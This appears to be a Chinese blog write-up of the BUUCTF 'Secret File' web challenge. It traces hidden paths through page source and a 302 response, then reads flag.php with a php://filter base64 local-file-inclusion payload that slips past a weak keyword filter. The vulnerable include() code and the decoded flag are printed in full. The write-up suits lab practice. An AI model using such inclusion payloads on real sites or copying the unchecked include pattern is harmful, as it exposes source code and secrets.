标签：Web BUUCTF 3bfaebad buuoj 访问 Secret 4226 php node4
打开靶机对应的url
右键查看网页源代码，查看到一个访问路径 /Archive_room.php
构造url访问一下
http://3bfaebad-fdfa-4226-ae0a-551f0228becb.node4.buuoj.cn:81/Archive_room.php
右键再次查看源代码，有一个访问路径./action.php"
http://3bfaebad-fdfa-4226-ae0a-551f0228becb.node4.buuoj.cn:81/action.php
访问看看
这里是题眼，提示会去仔细看看，那么我们用burpsuite抓包看看
发现action 返回的包是个302，里面其实还有个访问路径
HTTP/1.1 302 Found
Server: openresty
Date: Sun, 11 Dec 2022 03:57:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Location: end.php
X-Powered-By: PHP/7.3.11
Content-Length: 63
<!DOCTYPE html>
<html>
<!--
secr3t.php
-->
</html>
同样构造url访问看看（secr3t.php）
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
先访问一下flag.php试一下再说
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈！你找到我了！可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
我就在这里 </p>
</body>
</html>
既然说就在这里，那么尝试一下php伪协议，看能不能拿到源码看看
http://3bfaebad-fdfa-4226-ae0a-551f0228becb.node4.buuoj.cn:81/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
返回
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7Nzk2YmNlYzEtMDliNS00NWFmLThmYmQtNjlmZTE2YjRkMjA5fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
base64 解密一下，Boom，得到flag
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈！你找到我了！可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{796bcec1-09b5-45af-8fbd-69fe16b4d209}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
标签：Web,
BUUCTF,
3bfaebad,
buuoj,
访问,
Secret,
4226,
php,
node4
From： https://www.cnblogs.com/gradyblog/p/16973396.html